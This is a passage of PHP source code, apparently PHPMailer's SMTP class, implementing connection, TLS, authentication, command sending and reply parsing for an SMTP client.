     * Must be allowed by the SMTP server. EHLO response is not checked.
     *
     * @see https://www.postfix.org/XCLIENT_README.html
     *
     * @var array
     */
    public static $xclient_allowed_attributes = [
        'NAME', 'ADDR', 'PORT', 'PROTO', 'HELO', 'LOGIN', 'DESTADDR', 'DESTPORT'
    ];

    /**
     * The last transaction ID issued in response to a DATA command,
     * if one was detected.
     *
     * @var string|bool|null
     */
    protected $last_smtp_transaction_id;

    /**
     * The socket for the server connection.
     *
     * @var ?resource
     */
    protected $smtp_conn;

    /**
     * Error information, if any, for the last SMTP command.
     *
     * @var array
     */
    protected $error = [
        'error' => '',
        'detail' => '',
        'smtp_code' => '',
        'smtp_code_ex' => '',
    ];

    /**
     * The reply the server sent to us for HELO.
     * If null, no HELO string has yet been received.
     *
     * @var string|null
     */
    protected $helo_rply;

    /**
     * The set of SMTP extensions sent in reply to EHLO command.
     * Indexes of the array are extension names.
     * Value at index 'HELO' or 'EHLO' (according to command that was sent)
     * represents the server name. In case of HELO it is the only element of the array.
     * Other values can be boolean TRUE or an array containing extension options.
     * If null, no HELO/EHLO string has yet been received.
     *
     * @var array|null
     */
    protected $server_caps;

    /**
     * The most recent reply received from the server.
     *
     * @var string
     */
    protected $last_reply = '';

    /**
     * Output debugging info via a user-selected method.
     *
     * @param string $str   Debug string to output
     * @param int    $level The debug level of this message; see DEBUG_* constants
     *
     * @see SMTP::$Debugoutput
     * @see SMTP::$do_debug
     */
    protected function edebug($str, $level = 0)
    {
        if ($level > $this->do_debug) {
            return;
        }
        //Is this a PSR-3 logger?
        if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) {
            $this->Debugoutput->debug($str);

            return;
        }
        //Avoid clash with built-in function names
        if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) {
            call_user_func($this->Debugoutput, $str, $level);

            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo gmdate('Y-m-d H:i:s'), ' ', htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                ), "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n|\r/m', "\n", $str);
                echo gmdate('Y-m-d H:i:s'),
                "\t",
                    //Trim trailing space
                trim(
                    //Indent for readability, except for trailing break
                    str_replace(
                        "\n",
                        "\n                   \t                  ",
                        trim($str)
                    )
                ),
                "\n";
        }
    }

    /**
     * Connect to an SMTP server.
     *
     * @param string $host    SMTP server IP or host name
     * @param int    $port    The port number to connect to
     * @param int    $timeout How long to wait for the connection to open
     * @param array  $options An array of options for stream_context_create()
     *
     * @return bool
     */
    public function connect($host, $port = null, $timeout = 30, $options = [])
    {
        //Clear errors to avoid confusion
        $this->setError('');
        //Make sure we are __not__ connected
        if ($this->connected()) {
            //Already connected, generate error
            $this->setError('Already connected to a server');

            return false;
        }
        if (empty($port)) {
            $port = self::DEFAULT_PORT;
        }
        //Connect to the SMTP server
        $this->edebug(
            "Connection: opening to $host:$port, timeout=$timeout, options=" .
            (count($options) > 0 ? var_export($options, true) : 'array()'),
            self::DEBUG_CONNECTION
        );

        $this->smtp_conn = $this->getSMTPConnection($host, $port, $timeout, $options);

        if ($this->smtp_conn === false) {
            //Error info already set inside `getSMTPConnection()`
            return false;
        }

        $this->edebug('Connection: opened', self::DEBUG_CONNECTION);

        //Get any announcement
        $this->last_reply = $this->get_lines();
        $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);
        $responseCode = (int)substr($this->last_reply, 0, 3);
        if ($responseCode === 220) {
            return true;
        }
        //Anything other than a 220 response means something went wrong
        //RFC 5321 says the server will wait for us to send a QUIT in response to a 554 error
        //https://tools.ietf.org/html/rfc5321#section-3.1
        if ($responseCode === 554) {
            $this->quit();
        }
        //This will handle 421 responses which may not wait for a QUIT (e.g. if the server is being shut down)
        $this->edebug('Connection: closing due to error', self::DEBUG_CONNECTION);
        $this->close();
        return false;
    }

    /**
     * Create connection to the SMTP server.
     *
     * @param string $host    SMTP server IP or host name
     * @param int    $port    The port number to connect to
     * @param int    $timeout How long to wait for the connection to open
     * @param array  $options An array of options for stream_context_create()
     *
     * @return false|resource
     */
    protected function getSMTPConnection($host, $port = null, $timeout = 30, $options = [])
    {
        static $streamok;
        //This is enabled by default since 5.0.0 but some providers disable it
        //Check this once and cache the result
        if (null === $streamok) {
            $streamok = function_exists('stream_socket_client');
        }

        $errno = 0;
        $errstr = '';
        if ($streamok) {
            $socket_context = stream_context_create($options);
            set_error_handler([$this, 'errorHandler']);
            $connection = stream_socket_client(
                $host . ':' . $port,
                $errno,
                $errstr,
                $timeout,
                STREAM_CLIENT_CONNECT,
                $socket_context
            );
        } else {
            //Fall back to fsockopen which should work in more places, but is missing some features
            $this->edebug(
                'Connection: stream_socket_client not available, falling back to fsockopen',
                self::DEBUG_CONNECTION
            );
            set_error_handler([$this, 'errorHandler']);
            $connection = fsockopen(
                $host,
                $port,
                $errno,
                $errstr,
                $timeout
            );
        }
        restore_error_handler();

        //Verify we connected properly
        if (!is_resource($connection)) {
            $this->setError(
                'Failed to connect to server',
                '',
                (string) $errno,
                $errstr
            );
            $this->edebug(
                'SMTP ERROR: ' . $this->error['error']
                . ": $errstr ($errno)",
                self::DEBUG_CLIENT
            );

            return false;
        }

        //SMTP server can take longer to respond, give longer timeout for first read
        //Windows does not have support for this timeout function
        if (strpos(PHP_OS, 'WIN') !== 0) {
            $max = (int)ini_get('max_execution_time');
            //Don't bother if unlimited, or if set_time_limit is disabled
            if (0 !== $max && $timeout > $max && strpos(ini_get('disable_functions'), 'set_time_limit') === false) {
                @set_time_limit($timeout);
            }
            stream_set_timeout($connection, $timeout, 0);
        }

        return $connection;
    }

    /**
     * Initiate a TLS (encrypted) session.
     *
     * @return bool
     */
    public function startTLS()
    {
        if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
            return false;
        }

        //Allow the best TLS version(s) we can
        $crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT;

        //PHP 5.6.7 dropped inclusion of TLS 1.1 and 1.2 in STREAM_CRYPTO_METHOD_TLS_CLIENT
        //so add them back in manually if we can
        if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) {
            $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;
            $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT;
        }

        //Begin encrypted connection
        set_error_handler([$this, 'errorHandler']);
        $crypto_ok = stream_socket_enable_crypto(
            $this->smtp_conn,
            true,
            $crypto_method
        );
        restore_error_handler();

        return (bool) $crypto_ok;
    }

    /**
     * Perform SMTP authentication.
     * Must be run after hello().
     *
     * @see    hello()
     *
     * @param string $username The user name
     * @param string $password The password
     * @param string $authtype The auth type (CRAM-MD5, PLAIN, LOGIN, XOAUTH2)
     * @param OAuthTokenProvider $OAuth An optional OAuthTokenProvider instance for XOAUTH2 authentication
     *
     * @return bool True if successfully authenticated
     */
    public function authenticate(
        $username,
        $password,
        $authtype = null,
        $OAuth = null
    ) {
        if (!$this->server_caps) {
            $this->setError('Authentication is not allowed before HELO/EHLO');

            return false;
        }

        if (array_key_exists('EHLO', $this->server_caps)) {
            //SMTP extensions are available; try to find a proper authentication method
            if (!array_key_exists('AUTH', $this->server_caps)) {
                $this->setError('Authentication is not allowed at this stage');
                //'at this stage' means that auth may be allowed after the stage changes
                //e.g. after STARTTLS

                return false;
            }

            $this->edebug('Auth method requested: ' . ($authtype ?: 'UNSPECIFIED'), self::DEBUG_LOWLEVEL);
            $this->edebug(
                'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
                self::DEBUG_LOWLEVEL
            );

            //If we have requested a specific auth type, check the server supports it before trying others
            if (null !== $authtype && !in_array($authtype, $this->server_caps['AUTH'], true)) {
                $this->edebug('Requested auth method not available: ' . $authtype, self::DEBUG_LOWLEVEL);
                $authtype = null;
            }

            if (empty($authtype)) {
                //If no auth mechanism is specified, attempt to use these, in this order
                //Try CRAM-MD5 first as it's more secure than the others
                foreach (['CRAM-MD5', 'LOGIN', 'PLAIN', 'XOAUTH2'] as $method) {
                    if (in_array($method, $this->server_caps['AUTH'], true)) {
                        $authtype = $method;
                        break;
                    }
                }
                if (empty($authtype)) {
                    $this->setError('No supported authentication methods found');

                    return false;
                }
                $this->edebug('Auth method selected: ' . $authtype, self::DEBUG_LOWLEVEL);
            }

            if (!in_array($authtype, $this->server_caps['AUTH'], true)) {
                $this->setError("The requested authentication method \"$authtype\" is not supported by the server");

                return false;
            }
        } elseif (empty($authtype)) {
            $authtype = 'LOGIN';
        }
        switch ($authtype) {
            case 'PLAIN':
                //Start authentication
                if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
                    return false;
                }
                //Send encoded username and password
                if (
                    //Format from https://tools.ietf.org/html/rfc4616#section-2
                    //We skip the first field (it's forgery), so the string starts with a null byte
                    !$this->sendCommand(
                        'User & Password',
                        base64_encode("\0" . $username . "\0" . $password),
                        235
                    )
                ) {
                    return false;
                }
                break;
            case 'LOGIN':
                //Start authentication
                if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
                    return false;
                }
                if (!$this->sendCommand('Username', base64_encode($username), 334)) {
                    return false;
                }
                if (!$this->sendCommand('Password', base64_encode($password), 235)) {
                    return false;
                }
                break;
            case 'CRAM-MD5':
                //Start authentication
                if (!$this->sendCommand('AUTH CRAM-MD5', 'AUTH CRAM-MD5', 334)) {
                    return false;
                }
                //Get the challenge
                $challenge = base64_decode(substr($this->last_reply, 4));

                //Build the response
                $response = $username . ' ' . $this->hmac($challenge, $password);

                //send encoded credentials
                return $this->sendCommand('Username', base64_encode($response), 235);
            case 'XOAUTH2':
                //The OAuth instance must be set up prior to requesting auth.
                if (null === $OAuth) {
                    return false;
                }
                $oauth = $OAuth->getOauth64();

                //Start authentication
                if (!$this->sendCommand('AUTH', 'AUTH XOAUTH2 ' . $oauth, 235)) {
                    return false;
                }
                break;
            default:
                $this->setError("Authentication method \"$authtype\" is not supported");

                return false;
        }

        return true;
    }

    /**
     * Calculate an MD5 HMAC hash.
     * Works like hash_hmac('md5', $data, $key)
     * in case that function is not available.
     *
     * @param string $data The data to hash
     * @param string $key  The key to hash with
     *
     * @return string
     */
    protected function hmac($data, $key)
    {
        if (function_exists('hash_hmac')) {
            return hash_hmac('md5', $data, $key);
        }

        //The following borrowed from
        //http://php.net/manual/en/function.mhash.php#27225

        //RFC 2104 HMAC implementation for php.
        //Creates an md5 HMAC.
        //Eliminates the need to install mhash to compute a HMAC
        //by Lance Rushing

        $bytelen = 64; //byte length for md5
        if (strlen($key) > $bytelen) {
            $key = pack('H*', md5($key));
        }
        $key = str_pad($key, $bytelen, chr(0x00));
        $ipad = str_pad('', $bytelen, chr(0x36));
        $opad = str_pad('', $bytelen, chr(0x5c));
        $k_ipad = $key ^ $ipad;
        $k_opad = $key ^ $opad;

        return md5($k_opad . pack('H*', md5($k_ipad . $data)));
    }

    /**
     * Check connection state.
     *
     * @return bool True if connected
     */
    public function connected()
    {
        if (is_resource($this->smtp_conn)) {
            $sock_status = stream_get_meta_data($this->smtp_conn);
            if ($sock_status['eof']) {
                //The socket is valid but we are not connected
                $this->edebug(
                    'SMTP NOTICE: EOF caught while checking if connected',
                    self::DEBUG_CLIENT
                );
                $this->close();

                return false;
            }

            return true; //everything looks good
        }

        return false;
    }

    /**
     * Close the socket and clean up the state of the class.
     * Don't use this function without first trying to use QUIT.
     *
     * @see quit()
     */
    public function close()
    {
        $this->server_caps = null;
        $this->helo_rply = null;
        if (is_resource($this->smtp_conn)) {
            //Close the connection and cleanup
            fclose($this->smtp_conn);
            $this->smtp_conn = null; //Makes for cleaner serialization
            $this->edebug('Connection: closed', self::DEBUG_CONNECTION);
        }
    }

    /**
     * Send an SMTP DATA command.
     * Issues a data command and sends the msg_data to the server,
     * finalizing the mail transaction. $msg_data is the message
     * that is to be sent with the headers. Each header needs to be
     * on a single line followed by a <CRLF> with the message headers
     * and the message body being separated by an additional <CRLF>.
     * Implements RFC 821: DATA <CRLF>.
     *
     * @param string $msg_data Message data to send
     *
     * @return bool
     */
    public function data($msg_data)
    {
        //This will use the standard timelimit
        if (!$this->sendCommand('DATA', 'DATA', 354)) {
            return false;
        }

        /* The server is ready to accept data!
         * According to rfc821 we should not send more than 1000 characters on a single line (including the LE)
         * so we will break the data up into lines by \r and/or \n then if needed we will break each of those into
         * smaller lines to fit within the limit.
         * We will also look for lines that start with a '.' and prepend an additional '.'.
         * NOTE: this does not count towards line-length limit.
         */

        //Normalize line breaks before exploding
        $lines = explode("\n", str_replace(["\r\n", "\r"], "\n", $msg_data));

        /* To distinguish between a complete RFC822 message and a plain message body, we check if the first field
         * of the first line (':' separated) does not contain a space then it _should_ be a header, and we will
         * process all lines before a blank line as headers.
         */

        $field = substr($lines[0], 0, strpos($lines[0], ':'));
        $in_headers = false;
        if (!empty($field) && strpos($field, ' ') === false) {
            $in_headers = true;
        }

        foreach ($lines as $line) {
            $lines_out = [];
            if ($in_headers && $line === '') {
                $in_headers = false;
            }
            //Break this line up into several smaller lines if it's too long
            //Micro-optimisation: isset($str[$len]) is faster than (strlen($str) > $len),
            while (isset($line[self::MAX_LINE_LENGTH])) {
                //Working backwards, try to find a space within the last MAX_LINE_LENGTH chars of the line to break on
                //so as to avoid breaking in the middle of a word
                $pos = strrpos(substr($line, 0, self::MAX_LINE_LENGTH), ' ');
                //Deliberately matches both false and 0
                if (!$pos) {
                    //No nice break found, add a hard break
                    $pos = self::MAX_LINE_LENGTH - 1;
                    $lines_out[] = substr($line, 0, $pos);
                    $line = substr($line, $pos);
                } else {
                    //Break at the found point
                    $lines_out[] = substr($line, 0, $pos);
                    //Move along by the amount we dealt with
                    $line = substr($line, $pos + 1);
                }
                //If processing headers add a LWSP-char to the front of new line RFC822 section 3.1.1
                if ($in_headers) {
                    $line = "\t" . $line;
                }
            }
            $lines_out[] = $line;

            //Send the lines to the server
            foreach ($lines_out as $line_out) {
                //Dot-stuffing as per RFC5321 section 4.5.2
                //https://tools.ietf.org/html/rfc5321#section-4.5.2
                if (!empty($line_out) && $line_out[0] === '.') {
                    $line_out = '.' . $line_out;
                }
                $this->client_send($line_out . static::LE, 'DATA');
            }
        }

        //Message data has been sent, complete the command
        //Increase timelimit for end of DATA command
        $savetimelimit = $this->Timelimit;
        $this->Timelimit *= 2;
        $result = $this->sendCommand('DATA END', '.', 250);
        $this->recordLastTransactionID();
        //Restore timelimit
        $this->Timelimit = $savetimelimit;

        return $result;
    }

    /**
     * Send an SMTP HELO or EHLO command.
     * Used to identify the sending server to the receiving server.
     * This makes sure that client and server are in a known state.
     * Implements RFC 821: HELO <SP> <domain> <CRLF>
     * and RFC 2821 EHLO.
     *
     * @param string $host The host name or IP to connect to
     *
     * @return bool
     */
    public function hello($host = '')
    {
        //Try extended hello first (RFC 2821)
        if ($this->sendHello('EHLO', $host)) {
            return true;
        }

        //Some servers shut down the SMTP service here (RFC 5321)
        if (substr($this->helo_rply, 0, 3) == '421') {
            return false;
        }

        return $this->sendHello('HELO', $host);
    }

    /**
     * Send an SMTP HELO or EHLO command.
     * Low-level implementation used by hello().
     *
     * @param string $hello The HELO string
     * @param string $host  The hostname to say we are
     *
     * @return bool
     *
     * @see hello()
     */
    protected function sendHello($hello, $host)
    {
        $noerror = $this->sendCommand($hello, $hello . ' ' . $host, 250);
        $this->helo_rply = $this->last_reply;
        if ($noerror) {
            $this->parseHelloFields($hello);
        } else {
            $this->server_caps = null;
        }

        return $noerror;
    }

    /**
     * Parse a reply to HELO/EHLO command to discover server extensions.
     * In case of HELO, the only parameter that can be discovered is a server name.
     *
     * @param string $type `HELO` or `EHLO`
     */
    protected function parseHelloFields($type)
    {
        $this->server_caps = [];
        $lines = explode("\n", $this->helo_rply);

        foreach ($lines as $n => $s) {
            //First 4 chars contain response code followed by - or space
            $s = trim(substr($s, 4));
            if (empty($s)) {
                continue;
            }
            $fields = explode(' ', $s);
            if (!empty($fields)) {
                if (!$n) {
                    $name = $type;
                    $fields = $fields[0];
                } else {
                    $name = array_shift($fields);
                    switch ($name) {
                        case 'SIZE':
                            $fields = ($fields ? $fields[0] : 0);
                            break;
                        case 'AUTH':
                            if (!is_array($fields)) {
                                $fields = [];
                            }
                            break;
                        default:
                            $fields = true;
                    }
                }
                $this->server_caps[$name] = $fields;
            }
        }
    }

    /**
     * Send an SMTP MAIL command.
     * Starts a mail transaction from the email address specified in
     * $from. Returns true if successful or false otherwise. If True
     * the mail transaction is started and then one or more recipient
     * commands may be called followed by a data command.
     * Implements RFC 821: MAIL <SP> FROM:<reverse-path> <CRLF>.
     *
     * @param string $from Source address of this message
     *
     * @return bool
     */
    public function mail($from)
    {
        $useVerp = ($this->do_verp ? ' XVERP' : '');

        return $this->sendCommand(
            'MAIL FROM',
            'MAIL FROM:<' . $from . '>' . $useVerp,
            250
        );
    }

    /**
     * Send an SMTP QUIT command.
     * Closes the socket if there is no error or the $close_on_error argument is true.
     * Implements from RFC 821: QUIT <CRLF>.
     *
     * @param bool $close_on_error Should the connection close if an error occurs?
     *
     * @return bool
     */
    public function quit($close_on_error = true)
    {
        $noerror = $this->sendCommand('QUIT', 'QUIT', 221);
        $err = $this->error; //Save any error
        if ($noerror || $close_on_error) {
            $this->close();
            $this->error = $err; //Restore any error from the quit command
        }

        return $noerror;
    }

    /**
     * Send an SMTP RCPT command.
     * Sets the TO argument to $toaddr.
     * Returns true if the recipient was accepted false if it was rejected.
     * Implements from RFC 821: RCPT <SP> TO:<forward-path> <CRLF>.
     *
     * @param string $address The address the message is being sent to
     * @param string $dsn     Comma separated list of DSN notifications. NEVER, SUCCESS, FAILURE
     *                        or DELAY. If you specify NEVER all other notifications are ignored.
     *
     * @return bool
     */
    public function recipient($address, $dsn = '')
    {
        if (empty($dsn)) {
            $rcpt = 'RCPT TO:<' . $address . '>';
        } else {
            $dsn = strtoupper($dsn);
            $notify = [];

            if (strpos($dsn, 'NEVER') !== false) {
                $notify[] = 'NEVER';
            } else {
                foreach (['SUCCESS', 'FAILURE', 'DELAY'] as $value) {
                    if (strpos($dsn, $value) !== false) {
                        $notify[] = $value;
                    }
                }
            }

            $rcpt = 'RCPT TO:<' . $address . '> NOTIFY=' . implode(',', $notify);
        }

        return $this->sendCommand(
            'RCPT TO',
            $rcpt,
            [250, 251]
        );
    }

    /**
     * Send SMTP XCLIENT command to server and check its return code.
     *
     * @return bool True on success
     */
    public function xclient(array $vars)
    {
        $xclient_options = "";
        foreach ($vars as $key => $value) {
            if (in_array($key, SMTP::$xclient_allowed_attributes)) {
                $xclient_options .= " {$key}={$value}";
            }
        }
        if (!$xclient_options) {
            return true;
        }
        return $this->sendCommand('XCLIENT', 'XCLIENT' . $xclient_options, 250);
    }

    /**
     * Send an SMTP RSET command.
     * Abort any transaction that is currently in progress.
     * Implements RFC 821: RSET <CRLF>.
     *
     * @return bool True on success
     */
    public function reset()
    {
        return $this->sendCommand('RSET', 'RSET', 250);
    }

    /**
     * Send a command to an SMTP server and check its return code.
     *
     * @param string    $command       The command name - not sent to the server
     * @param string    $commandstring The actual command to send
     * @param int|array $expect        One or more expected integer success codes
     *
     * @return bool True on success
     */
    protected function sendCommand($command, $commandstring, $expect)
    {
        if (!$this->connected()) {
            $this->setError("Called $command without being connected");

            return false;
        }
        //Reject line breaks in all commands
        if ((strpos($commandstring, "\n") !== false) || (strpos($commandstring, "\r") !== false)) {
            $this->setError("Command '$command' contained line breaks");

            return false;
        }
        $this->client_send($commandstring . static::LE, $command);

        $this->last_reply = $this->get_lines();
        //Fetch SMTP code and possible error code explanation
        $matches = [];
        if (preg_match('/^([\d]{3})[ -](?:([\d]\\.[\d]\\.[\d]{1,2}) )?/', $this->last_reply, $matches)) {
            $code = (int) $matches[1];
            $code_ex = (count($matches) > 2 ? $matches[2] : null);
            //Cut off error code from each response line
            $detail = preg_replace(
                "/{$code}[ -]" .
                ($code_ex ? str_replace('.', '\\.', $code_ex) . ' ' : '') . '/m',
                '',
                $this->last_reply
            );
        } else {
            //Fall back to simple parsing if regex fails
            $code = (int) substr($this->last_reply, 0, 3);
            $code_ex = null;
            $detail = substr($this->last_reply, 4);
        }

        $this->edebug('SERVER -> CLIENT: ' . $this->last_reply, self::DEBUG_SERVER);

        if (!in_array($code, (array) $expect, true)) {
            $this->setError(
                "$command command failed",
                $detail,
                $code,
                $code_ex
            );
            $this->edebug(
                'SMTP ERROR: ' . $this->error['error'] . ': ' . $this->last_reply,
                self::DEBUG_CLIENT
            );

            return false;
        }

        //Don't clear the error store when using keepalive
        if ($command !== 'RSET') {
            $this->setError('');
        }

        return true;
    }

    /**
     * Send an SMTP SAML command.
     * Starts a mail transaction from the email address specified in $from.
     * Returns true if successful or false otherwise. If True
     * the mail transaction is started and then one or more recipient
     * commands may be called followed by a data command. This command
     * will send the message to the users terminal if they are logged
     * in and send them an email.
     * Implements RFC 821: SAML <SP> FROM:<reverse-path> <CRLF>.
     *
     * @param string $from The address the message is from
     *
     * @return bool
     */
    public function sendAndMail($from)
    {
        return $this->sendCommand('SAML', "SAML FROM:$from", 250);
    }

    /**
     * Send an SMTP VRFY command.
     *
     * @param string $name The name to verify
     *
     * @return bool
     */
    public function verify($name)
    {
        return $this->sendCommand('VRFY', "VRFY $name", [250, 251]);
    }

    /**
     * Send an SMTP NOOP command.
     * Used to keep keep-alives alive, doesn't actually do anything.
     *
     * @return bool
     */
    public function noop()
    {
        return $this->sendCommand('NOOP', 'NOOP', 250);
    }

    /**
     * Send an SMTP TURN command.
     * This is an optional command for SMTP that this class does not support.
     * This method is here to make the RFC821 Definition complete for this class
     * and _may_ be implemented in future.
     * Implements from RFC 821: TURN <CRLF>.
     *
     * @return bool
     */
    public function turn()
    {
        $this->setError('The SMTP TURN command is not implemented');
        $this->edebug('SMTP NOTICE: ' . $this->error['error'], self::DEBUG_CLIENT);

        return false;
    }

    /**
     * Send raw data to the server.
     *
     * @param string $data    The data to send
     * @param string $command Optionally, the command this is part of, used only for controlling debug output
     *
     * @return int|bool The number of bytes sent to the server or false on error
     */
    public function client_send($data, $command = '')
    {
        //If SMTP transcripts are left enabled, or debug output is posted online
        //it can leak credentials, so hide credentials in all but lowest level
        if (
            self::DEBUG_LOWLEVEL > $this->do_debug &&
            in_array($command, ['User & Password', 'Username', 'Password'], true)
        ) {
            $this->edebug('CLIENT -> SERVER: [credentials hidden]', self::DEBUG_CLIENT);
        } else {
            $this->edebug('CLIENT -> SERVER: ' . $data, self::DEBUG_CLIENT);
        }
        set_error_handler([$this, 'errorHandler']);
        $result = fwrite($this->smtp_conn, $data);
        restore_error_handler();

        return $result;
    }

    /**
     * Get the latest error.
     *
     * @return array
     */
    public function getError()
    {
        return $this->error;
    }

    /**
     * Get SMTP extensions available on the server.
     *
     * @return array|null
     */
    public function getServerExtList()
    {
        return $this->server_caps;
    }

    /**
     * Get metadata about the SMTP server from its HELO/EHLO response.
     * The method works in three ways, dependent on argument value and current state:
     *   1. HELO/EHLO has not been sent - returns null and populates $this->error.
     *   2. HELO has been sent -
     *     $name == 'HELO': returns server name
     *     $name == 'EHLO': returns boolean false
     *     $name == any other string: returns null and populates $this->error
     *   3. EHLO has been sent -
     *     $name == 'HELO'|'EHLO': returns the server name
     *     $name == any other string: if extension $name exists, returns True
     *       or its options (e.g. AUTH mechanisms supported). Otherwise returns False.
     *
     * @param string $name Name of SMTP extension or 'HELO'|'EHLO'
     *
     * @return string|bool|null
     */
    public function getServerExt($name)
    {
        if (!$this->server_caps) {
            $this->setError('No HELO/EHLO was sent');

            return null;
        }

        if (!array_key_exists($name, $this->server_caps)) {
            if ('HELO' === $name) {
                return $this->server_caps['EHLO'];
            }
            if ('EHLO' === $name || array_key_exists('EHLO', $this->server_caps)) {
                return false;
            }
            $this->setError('HELO handshake was used; No information about server extensions available');

            return null;
        }

        return $this->server_caps[$name];
    }

    /**
     * Get the last reply from the server.
     *
     * @return string
     */
    public function getLastReply()
    {
        return $this->last_reply;
    }

    /**
     * Read the SMTP server's response.
     * Either before eof or socket timeout occurs on the operation.
     * With SMTP we can tell if we have more lines to read if the
     * 4th character is '-' symbol. If it is a space then we don't
     * need to read anything else.
     *
     * @return string
     */
    protected function get_lines()
    {
        //If the connection is bad, give up straight away
        if (!is_resource($this->smtp_conn)) {
            return '';
        }
        $data = '';
        $endtime = 0;
        stream_set_timeout($this->smtp_conn, $this->Timeout);
        if ($this->Timelimit > 0) {
            $endtime = time() + $this->Timelimit;
        }
        $selR = [$this->smtp_conn];
        $selW = null;
        while (is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
            //Must pass vars in here as params are by reference
            //solution for signals inspired by https://github.com/symfony/symfony/pull/6540
            set_error_handler([$this, 'errorHandler']);
            $n = stream_select($selR, $selW, $selW, $this->Timelimit);
            restore_error_handler();

            if ($n === false) {
                $message = $this->getError()['detail'];

                $this->edebug(
                    'SMTP -> get_lines(): select failed (' . $message . ')',
                    self::DEBUG_LOWLEVEL
                );

                //stream_select returns false when the `select` system call is interrupted
                //by an incoming signal, try the select again
                if (stripos($message, 'interrupted system call') !== false) {
                    $this->edebug(
                        'SMTP -> get_lines(): retrying stream_select',
                        self::DEBUG_LOWLEVEL
                    );
                    $this->setError('');
                    continue;
                }

                break;
            }

            if (!$n) {
                $this->edebug(
                    'SMTP -> get_lines(): select timed-out in (' . $this->Timelimit . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
            }

            //Deliberate noise suppression - errors are handled afterwards
            $str = @fgets($this->smtp_conn, self::MAX_REPLY_LENGTH);
            $this->edebug('SMTP INBOUND: "' . trim($str) . '"', self::DEBUG_LOWLEVEL);
            $data .= $str;
            //If response is only 3 chars (not valid, but RFC5321 S4.2 says it must be handled),
            //or 4th character is a space or a line break char, we are done reading, break the loop.
            //String array access is a significant micro-optimisation over strlen
            if (!isset($str[3]) || $str[3] === ' ' || $str[3] === "\r" || $str[3] === "\n") {
                break;
            }
            //Timed-out? Log and break
            $info = stream_get_meta_data($this->smtp_conn);
            if ($info['timed_out']) {
                $this->edebug(
                    'SMTP -> get_lines(): stream timed-out (' . $this->Timeout . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
            }
            //Now check if reads took too long
            if ($endtime && time() > $endtime) {
                $this->edebug(
                    'SMTP -> get_lines(): timelimit reached (' .
                    $this->Timelimit . ' sec)',
                    self::DEBUG_LOWLEVEL
                );
                break;
            }
        }

        return $data;
    }

    /**
     * Enable or disable VERP address generation.
     *
     * @param bool $enabled
     */
    public function setVerp($enabled = false)
    {
        $this->do_verp = $enabled;
    }

    /**
     * Get VERP address generation mode.
     *
     * @return bool
     */
    public function getVerp()
    {
        return $this->do_verp;
    }

    /**
     * Set error messages and codes.
     *
     * @param string $message      The error message
     * @param string $detail       Further detail on the error
     * @param string $smtp_code    An associated SMTP error code
     * @param string $smtp_code_ex Extended SMTP code
     */
    protected function setError($message, $detail = '', $smtp_code = '', $smtp_code_ex = '')
    {
        $this->error = [
            'error' => $message,
            'detail' => $detail,
            'smtp_code' => $smtp_code,
            'smtp_code_ex' => $smtp_code_ex,
        ];
    }

    /**
     * Set debug output method.
     *
     * @param string|callable $method The name of the mechanism to use for debugging output, or a callable to handle it
     */
    public function setDebugOutput($method = 'echo')
    {
        $this->Debugoutput = $method;
    }

    /**
     * Get debug output method.
     *
     * @return string
     */
    public function getDebugOutput()
    {
        return $this->Debugoutput;
    }

    /**
     * Set debug output level.
     *
     * @param int $level
     */
    public function setDebugLevel($level = 0)
    {
        $this->do_debug = $level;
    }

    /**
     * Get debug output level.
     *
     * @return int
     */
    public function getDebugLevel()
    {
        return $this->do_debug;
    }

    /**
     * Set SMTP timeout.
     *
     * @param int $timeout The timeout duration in seconds
     */
    public function setTimeout($timeout = 0)
    {
        $this->Timeout = $timeout;
    }

    /**
     * Get SMTP timeout.
     *
     * @return int
     */
    public function getTimeout()
    {
        return $this->Timeout;
    }

    /**
     * Reports an error number and string.
     *
     * @param int    $errno   The error number returned by PHP
     * @param string $errmsg  The error message returned by PHP
     * @param string $errfile The file the error occurred in
     * @param int    $errline The line number the error occurred on
     */
    protected function errorHandler($errno, $errmsg, $errfile = '', $errline = 0)
    {
        $notice = 'Connection failed.';
        $this->setError(
            $notice,
            $errmsg,
            (string) $errno
        );
        $this->edebug(
            "$notice Error #$errno: $errmsg [$errfile line $errline]",
            self::DEBUG_CONNECTION
        );
    }

    /**
     * Extract and return the ID of the last SMTP transaction based on
     * a list of patterns provided in SMTP::$smtp_transaction_id_patterns.
     * Relies on the host providing the ID in response to a DATA command.
     * If no reply has been received yet, it will return null.
     * If no pattern was matched, it will return false.
     *
     * @return bool|string|null
     */
    protected function recordLastTransactionID()
    {
        $reply = $this->getLastReply();

        if (empty($reply)) {
            $this->last_smtp_transaction_id = null;
        } else {
            $this->last_smtp_transaction_id = false;
            foreach ($this->smtp_transaction_id_patterns as $smtp_transaction_id_pattern) {
                $matches = [];
                if (preg_match($smtp_transaction_id_pattern, $reply, $matches)) {
                    $this->last_smtp_transaction_id = trim($matches[1]);
                    break;
                }
            }
        }

        return $this->last_smtp_transaction_id;
    }

    /**
     * Get the queue/transaction ID of the last SMTP transaction
     * If no reply has been received yet, it will return null.
     * If no pattern was matched, it will return false.
     *
     * @return bool|string|null
     *
     * @see recordLastTransactionID()
     */
    public function getLastTransactionID()
    {
        return $this->last_smtp_transaction_id;
    }
}
<?php

/**
 * PHPMailer - PHP email creation and transport class.
 * PHP Version 5.5.
 *
